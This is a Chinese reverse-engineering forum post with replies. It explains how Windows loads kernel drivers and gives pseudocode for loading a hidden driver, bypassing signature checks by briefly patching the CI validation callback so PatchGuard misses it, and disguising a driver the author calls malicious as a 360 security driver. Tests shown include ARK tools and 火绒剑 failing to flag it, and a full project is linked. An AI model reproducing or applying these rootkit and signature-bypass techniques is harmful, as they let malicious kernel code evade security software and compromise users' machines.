吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 12270|回复: 82
收起左侧

[系统底层] “可过PG”的驱动伪装与隐藏

    [复制链接]
ICEY 发表于 2023-4-19 01:13
本帖最后由 ICEY 于 2023-4-26 11:19 编辑

“可过PG”的驱动伪装与隐藏

潜水太久啦,来水个帖。

1 驱动是如何加载的

1.1 调用路径分析

非常简单,手写个驱动,在DriverEntry上加上一句:

DbgBreakPoint();

手动加载,调用栈如下:

DriverEntry_Stack.png

发现华点:

ExpWorkerThread -> IopLoadUnloadDriver -> IopLoadDriver -> DriverEntry

IopLoadDriver基本上只有第一个参数没确定意义了。

IopUnloadDriver.png

使用IDA对IopLoadUnloadDriver进行引用分析。来自IopLoadDriverImage

工作线程起始.png

再对IopLoadDriverImage引用分析。来自NtLoadDriver

Nt.png

这唯一的一个参数,就是注册表对应的服务路径啦,例:

\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Test_Drv

注册表.png

这个注册表是在你 Ring3 调用 CreateServiceW的时候就填好的。

那么调用路径就清晰啦:

添加注册项 -> NtLoadDriver -> IopLoadDriverImage -> IopLoadUnloadDriver -> IopLoadDriver -> DriverEntry

1.2 IopLoadDriver

这个函数是基本算是最重要的函数啦,毕竟是它调用的DriverEntry。

而分析上述调用路径的唯一作用,就是为了得到 IopLoadDriver参数的意义。(注册表的 Handle)

由于这个函数比较大,仅分析重要部分,伪代码如下:

//获取注册表项基本信息
status = NtQueryKey(KeyHandle, KeyBasicInformation, P, Length, &Length);

//从注册表键中获取驱动路径 放入 Destination
//例:\??\C:\Users\nihao\Desktop\Kernel_PDB_Frame_R0.sys
status = IopBuildFullDriverPath(&v38, KeyHandle, &Destination);

//这个函数非常重要!返回DriverObject.DriverSection 和 驱动基地址 BaseAddress
//通过这个函数就能直接安装一个可运行的驱动了,待会分析
status = MmLoadSystemImageEx(&Destination, 0, 0, 0, &DriverSection, &BaseAddress);

//创建一个新的DriverObject
OBJECT_ATTRIBUTES Obj_Att = { 0 };
Obj_Att.Length = 0x30; 
Obj_Att.Attributes = 0x250; 
Obj_Att.ObjectName = &ObjectName;// L"\\Driver\\Test_Drv" , "\\Driver\\"串接 服务名
status = ObCreateObjectEx(KeGetCurrentThread()->PreviousMode,
                                  IoDriverObjectType,
                             &Obj_Att,// POBJECT_ATTRIBUTES
                             0,
                             &out,//这个是一个ULONG64 类型 没啥用
                             0x1A0,
                             0,
                             0,
                             &DriverObject,//返回新的 DriverObject
                             0i64);

//填充DriverObject
memset(DriverObject, 0, 0x1A0ui64);
DriverObject->DriverExtension = &DriverObject[1];// 准备填充 Driver_Object 
*&DriverObject[1].Type = DriverObject;
ReturnLength = 28;
memset64(DriverObject->MajorFunction, IopInvalidDeviceRequest, 0x1Cui64);
v18 = BaseAddress;//MmLoadSystemImageEx返回的基地址
v19 = BaseAddress;
*&DriverObject->Type = 0x1500004; // Type = 4,Size = 0x150
v20 = RtlImageNtHeader(v19);
*v40 = v20->OptionalHeader.MinorImageVersion | (v20->OptionalHeader.MajorImageVersion << 16);
v21 = &v18[v20->OptionalHeader.AddressOfEntryPoint];
if ( (v20->OptionalHeader.DllCharacteristics & 0x2000) == 0 )
    DriverObject->Flags |= 2u;
DriverObject->DriverInit = v21;//DriverEntry 啦
DriverObject->DriverSection = DriverSection;//MmLoadSystemImageEx 返回的DriverSection
DriverObject->DriverStart = v18;//基地址
DriverObject->DriverSize = v20->OptionalHeader.SizeOfImage;

//将DriverObject添加入全局Object表
status = ObInsertObjectEx(DriverObject, 0i64, 1i64, 0, 0, 0i64, &Handle);// 加入Object表

//继续填充DriverObject
status = ObReferenceObjectByHandle(Handle,0,IoDriverObjectType,
                        KeGetCurrentThread()->PreviousMode,
                        &DriverObject,
                        0i64);//测试一下能不能通过Handle获得DriverObject ?!
ZwClose(Handle);
DriverObject->HardwareDatabase = PCmRegistryMachineHardwareDescriptionSystemName;
DriverObject->DriverName.Buffer = ExAllocatePool(NonPagedPool, ObjectName.MaximumLength);
DriverObject->DriverName.Length = ObjectName.Length;
DriverObject->DriverName.MaximumLength = ObjectName.MaximumLength;
memcpy(DriverObject->DriverName.Buffer, ObjectName.Buffer, ObjectName.MaximumLength);
//这里的 ObjectName 就是 L"\\Driver\\Test_Drv"  , "\\Driver\\"串接 服务名

//调用DriverEntry
status = ZwQueryObject(HRegistry, 1, PSTR, 0x1000, &NtQueryObjReturnLen);//拿到注册表路径
DriverObject->DriverInit(DriverObject,PSTR);//刚好对应DriverEntry的两个参数

//提交驱动申请的设备(如果驱动有注册设备)
IopReadyDeviceObjects(DriverObject);//不调用这个函数的话,设备无法打开

//收尾工作

1.3 MmLoadSystemImageEx

这个函数非常强大,传入需要加载的驱动的路径,就可以直接加载一个可直接运行的无DriverObject驱动。(请读者自行测试)

功能包括:

创建DriverSection、映射内存、修复重定位、将DriverSection添加入PsLoadedModuleList、填充IAT、填充_security_cookie、...(这几个功能已经够用了)

没错,上述的 DriverSection 就是 驱动模块链表 连接的结构体 :_LDR_DATA_TABLE_ENTRY。

同样,这个函数比较大,这里仅列出重要部分伪代码:

//准备一下接下来需要用到的字符串
status = MiGenerateSystemImageNames(DriverPath, zero1, zero2, &v69, v73, &String1);
//string1同DriverPath \??\C:\Users\nihao\Desktop\Kernel_PDB_Frame_R0.sys

//创建DriverSection (仅创建、不插入PsLoadedModuleList)
status = MiObtainSectionForDriver(&String1, DriverPath, 0, 0, &DriverSection);

//申请映射地址
PUCHAR Section = DriverSection + 0x70;
int out_uk;
DllBase = MiGetSystemAddressForImage(Section, 0, &out_uk);//此时还未映射

//进行映射
KIRQL OldIrql;
KeRaiseIrql(1, &OldIrql);
status = MiMapSystemImage(Section, DllBase);//一定要是 irql = 1 才能映射成功
KeLowerIrql(OldIrql);//映射好的驱动是已经修好了重定位的了,非常nice

//填充DriverSection信息并插入PsLoadedModuleList
DriverSection->SizeOfImage = DllSize;
DriverSection->DllBase = DllBase;
status = MiConstructLoaderEntry(DriverSection, &OutU, &AString, 0, 1, &NewDriverSection);
//此时可以Free旧的DriverSection,新的 NewDriverSection 才是真正有效的。
// &OutU和&AString都是没用的输出值,不用管,给个空间就行了

//修复IAT
略

//填充_security_cookie
略

至此,一个 可在驱动模块链表(PsLoadedModuleList)可以找到的驱动就加载完成了。

1.3.1 数字签名验证部分

如果你需要隐藏或伪装的驱动本身有签名,就不用patch了,如果硬要加载一个无签名的,那才需要patch,最好不要啦,因为有蓝屏几率。

在通过MiObtainSectionForDriver获取DriverSection的时候,Windows就会进行数字签名认证啦!调用栈如下:

签名校验.png

通过 SeValidateImageHeader进入 CI.DLL 进行签名校验,CL.DLL 部分就不再继续跟了,我们主要看如何进入CI.DLL:

签名校验2.png

网上一般通过Patch CI!g_CiOptions实现绕过数字签名校验,这边就不搞这么复杂了,我们 patch qword_14040EF40,换成我们的函数,返回 STATUS_SUCCESS 就可以通过签名校验了,虽然 qword_14040EF40受PG保护,但是只修改一会,加载完驱动就改回去,PG就反应不过来了。(我试过很多次,基本上改了 qword_14040EF40 后几个小时PG才能反应过来)。定位:

定位qword_14040EF40.png

win10、win11 我都看过, 都是在 &SeCiCallbacks + 0x20 的位置,可能有些版本不同。

2 开始操作

操作很简单,通过调用上面说到过的未导出函数,就能实现。

需要隐藏的驱动或伪装的驱动代码如下:(主要是创建一个 名为 ICEY_Device的设备,创建成功说明 驱动加载成功)

#include<ntddk.h>
#define my_device_name  L"\\Device\\ICEY_Device"//设备名
#define my_link_name L"\\??\\ICEY_Device"//符号链接名

NTSTATUS Exit(DRIVER_OBJECT* DriverObject) {
        UNICODE_STRING symbolLinkName;
        if (DriverObject->DeviceObject)
                IoDeleteDevice(DriverObject->DeviceObject);
        RtlInitUnicodeString(&symbolLinkName, my_link_name);
        IoDeleteSymbolicLink(&symbolLinkName);
        return STATUS_SUCCESS;
}

NTSTATUS Test(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
        NTSTATUS Status;
        DbgPrint("Create File Finsh!\n");//输出成功,则代表成功
        Status = STATUS_SUCCESS;
        pIrp->IoStatus.Status = Status;
        pIrp->IoStatus.Information = 0;
        IoCompleteRequest(pIrp, IO_NO_INCREMENT);
        return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DrvObj, PUNICODE_STRING Str) {
        UNICODE_STRING device_name, device_link_name, event_name1, event_name2;//设备名,符号链接名,事件名
        RtlInitUnicodeString(&device_name, my_device_name);//初始化设备名
        RtlInitUnicodeString(&device_link_name, my_link_name);//初始化符号链接名
        NTSTATUS status = 0;
        PDEVICE_OBJECT ShellDevObj = NULL;
        status = IoCreateDevice(DrvObj, 200, &device_name, FILE_DEVICE_UNKNOWN, 0, 1, &ShellDevObj);
        if (!NT_SUCCESS(status))
        {
                DbgPrint("无法创建设备!\n");
                return status;
        }
        status = IoCreateSymbolicLink(&device_link_name, &device_name);
        if (!NT_SUCCESS(status))
        {
                DbgPrint("无法创建符号链接!\n");
                IoDeleteDevice(ShellDevObj);
                return status;
        }
        DrvObj->MajorFunction[IRP_MJ_CREATE] = Test;
        return status;
}

编译出来的 驱动文件 名字为 : Test_Drv.sys

2.1 驱动隐藏加载

这里就贴一下伪代码,实际代码请查看项目:

#define HideDrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\xixi.sys" //填驱动路径

UNICODE_STRING Path;
RtlInitUnicodeString(&Path, HideDrvPath);

//Patch 签名校验
CIFun = *Pqword_14040EF40;
*Pqword_14040EF40 = MySeValidateImageHeader;//换成我们的函数,这个函数返回 STATUS_SUCCESS

//获取DriverSection
MiGenerateSystemImageNames(&Path, 0, 0, &Out, Out14, &String1);
MiObtainSectionForDriver(&String1, &Path, 0, 0, &PDriverSection);

//映射内存
Section = PDriverSection + 0x70;
DllBase = MiGetSystemAddressForImage(Section, 0, &un);
MiMapSystemImage(Section, DllBase);
ExFreePool(PDriverSection);

//恢复签名校验
*Pqword_14040EF40 = CIFun;

//填充IAT
略,请看项目完整代码;

//填充_security_cookie
略,请看项目完整代码;

//修复 WDF(可选)
略,这一部分是因为 WDF的驱动 DriverEntry 内有一些特殊操作,不修复就会蓝屏,WDM驱动就没有这个问题;

//调用DriverEntry
略,请看项目完整代码;

对就这么简单,就加载了一个隐藏驱动(无DriverObject 、无DriverSection)

由于没有这两个结构体,所以这个驱动一些函数是无法调用的,如何解决这里不赘述了。

在项目中我采取了IO劫持的方式,让我的隐藏驱动创建设备,原理就是给隐藏驱动的 DriverEntry第一个参数传进一个没有设备的DriverObject,详情请看代码。

2.1.1 测试:

加载成功1.png

ARK工具找不到:

ARK找不到.png

WinObj 双击 设备名字测试:(成功输出 “Create File Finsh!”)

WinObj双击.png

2.2 驱动伪装加载

同上,只贴伪代码,实际代码请查看项目:

#define ADrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\test\\Test_Drv.sys" //恶意驱动路径
#define ODrvPath L"\\??\\C:\\Users\\nihao\\Desktop\\test\\360AntiHacker64.sys"//傀儡驱动路径
#define ServiceName  L"AntiHacker"//傀儡服务名

//将 恶意驱动 伪装成 傀儡驱动

//自建注册表服务,以 ServiceName 命名
略,详情请看代码;

//Patch 签名校验
CIFun = *Pqword_14040EF40;
*Pqword_14040EF40 = MySeValidateImageHeader;//换成我们的函数,这个函数返回 STATUS_SUCCESS

//获取 恶意驱动的 DriverSection 和 傀儡驱动的 DriverSection
status = MiObtainSectionForDriver(&AString, &ADrvPathUn, 0, 0, &PADriverSection);
status = MiObtainSectionForDriver(&OString, &ODrvPathUn, 0, 0, &PODriverSection);

//对恶意驱动 进行映射
Section = *(PULONG64)(PADriverSection + SectionOffset);
DllBase = MiGetSystemAddressForImage(Section, 0, &un);
status = MiMapSystemImage(Section, DllBase);
Head = RtlImageNtHeader(DllBase);
DllSize = *(PULONG32)(Head + 0x50);

//恢复签名校验
*Pqword_14040EF40 = CIFun;
//将恶意驱动信息填入 傀儡驱动DriverSection 并提交(加入PsLoadedModuleList链表)
PODriverSection->SizeOfImage = DllSize;
PODriverSection->DllBase = DllBase;
status = MiConstructLoaderEntry(PODriverSection, &OutU, &OString, 0, 1, &NewPODriverSection);

//修复IAT
略;

//修复_security_cookie
略;

//修复 WDF(可选)
略,这一部分是因为 WDF的驱动 DriverEntry 内有一些特殊操作,不修复就会蓝屏,WDM驱动就没有这个问题;

//构造 DriverObject ,并填入信息(恶意驱动的信息) ,然后 加入 全局Object表
status = ObCreateObjectEx(0, *PIoDriverObjectType, &att, 0, &Out, 0x1A0, 0, 0, &PTDrvObj, 0);
memset(PTDrvObj, 0, 0x1a0);
PTDrvObj->DriverExtension = &PTDrvObj[1];
*(PULONG64)(&PTDrvObj[1]) = &PTDrvObj[0];
for (int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
    PTDrvObj->MajorFunction[i] = PIopInvalidDeviceRequest;
}
PTDrvObj->Type = 4; PTDrvObj->Size = 0x150;
PTDrvObj->DriverInit = NewPODriverSection->EntryPoint;
PTDrvObj->DriverSection = NewPODriverSection;
PTDrvObj->DriverStart = DllBase;
PTDrvObj->DriverSize = DllSize;
PTDrvObj->Flags |= 2;
status = ObInsertObjectEx(PTDrvObj, 0, 1, 0, 0, 0, &DrvH);
status = ObReferenceObjectByHandle(DrvH, 0, *PIoDriverObjectType, 0, &PTDrvObj, NULL);
ZwClose(DrvH);
PTDrvObj->HardwareDatabase = PCmRegistryMachineHardwareDescriptionSystemName;
PTDrvObj->DriverName.Buffer = ExAllocatePool(NonPagedPool, ObjectName.MaximumLength);
PTDrvObj->DriverName.Length = ObjectName.Length;
PTDrvObj->DriverName.MaximumLength = ObjectName.MaximumLength;
memcpy(PTDrvObj->DriverName.Buffer, ObjectName.Buffer, ObjectName.MaximumLength);
//ObjectName 是 "\\Driver\\XXX"

//调用DriverEntry
status = ZwQueryObject(HRegistry, 1, PSTR, 0x1000, &NtQueryObjReturnLen);
PTDrvObj->DriverInit(PTDrvObj,PSTR);

//提交设备
IopReadyDeviceObjects(PTDrvObj);
2.2.1 测试:

将 Test_Drv.sys 伪装成 360AntiHacker64.sys 。

ARK签名检测:

伪装签名校验.png

火绒剑检测:

火绒剑.png

3 项目地址 & 补充说明

不保证100%可过 PG,只是在我测试 40+小时以上,win10 win11 均未被PG检测。

项目用到大量未导出函数,需要自己想办法获取函数地址。进入 Kernel_PDB.c  InitAllOffSet() 进行修改

管安装不管卸载,卸载驱动请重启电脑哈哈哈哈。

项目地址:

Drv_Hide_And_Camouflage

免费评分

参与人数 42威望 +2 吾爱币 +150 热心值 +36 收起 理由
bingshuir + 1 + 1 我很赞同!
dafs + 1 + 1 谢谢@Thanks!
Patty + 1 谢谢@Thanks!
93808 + 1 + 1 谢谢@Thanks!
plazy + 1 + 1 每次看到这种高端技术帖,总有一种想膜拜的感觉!谢谢分享
wanjingbo + 1 我很赞同!
ypcok + 1 + 1 我很赞同!
b12312312 + 1 + 1 热心回复!
dblkings + 2 热心回复!
Gilbert1123 + 1 用心讨论,共获提升!
lover1989 + 1 我很赞同!
rainmote + 1 + 1 谢谢@Thanks!
zhnb233 + 1 + 1 谢谢@Thanks!
jimmyzang + 3 我很赞同!
xianian233 + 1 + 1 我很赞同!
balley + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
44018723 + 2 + 1 大佬,先收藏
Tonyha7 + 2 + 1 用心讨论,共获提升!
yixi + 1 + 1 谢谢@Thanks!
nug + 1 + 1 用心讨论,共获提升!
kuangxiao + 1 + 1 热心回复!
N1san + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
allspark + 1 + 1 用心讨论,共获提升!
gogobn + 1 + 1 用心讨论,共获提升!
不爱everyone + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
fengbolee + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
onlywey + 1 + 1 谢谢@Thanks!
zhoumeto + 1 + 1 用心讨论,共获提升!
AkaTerrorist + 1 热心回复!
山顶的一棵草 + 3 + 1 那么问题来了,如果真装了360的能否扫出来,疑问~
smile1110 + 3 + 1 谢谢@Thanks!
LLimerenceY + 1 用心讨论,共获提升!
i9420 + 1 + 1 我很赞同!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
a2283wd + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
zsr849408332 + 1 + 1 谢谢@Thanks!
pjy612 + 1 + 1 久违的ICEY大佬!
anoetl + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
wdian + 1 用心讨论,共获提升!
Panel + 2 + 1 等会儿有些大手子就顺着网线来找你了,哈哈哈
bnb + 2 + 1 用心讨论,共获提升!
爱飞的猫 + 3 + 1 6

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

King小奥 发表于 2023-4-20 19:51

PatchGuard 内核保护系统 会定期检测 发现异常修改就蓝掉
aa2923821a 发表于 2023-4-19 08:45
头像被屏蔽
tl;dr 发表于 2023-4-19 06:49
romobin 发表于 2023-4-19 01:35
感谢楼主的精彩文章跟讲解 , 不过楼主有没有测试22H2 我之前测试是patch秒蓝屏
bnb 发表于 2023-4-19 06:24
支持神武4吗
有易语言模块吗
yizhimei123 发表于 2023-4-19 07:36
支持一下!
15935517293 发表于 2023-4-19 07:42
好·不错,棒棒哒
daoye9988 发表于 2023-4-19 07:44
好奇路过,支持一个
dongmu666 发表于 2023-4-19 08:48
学习了,感谢分享
pjy612 发表于 2023-4-19 09:20
是ICEY大佬!N年前还是ICEY大佬指导的如何内存补SE壳...
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-18 23:46

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表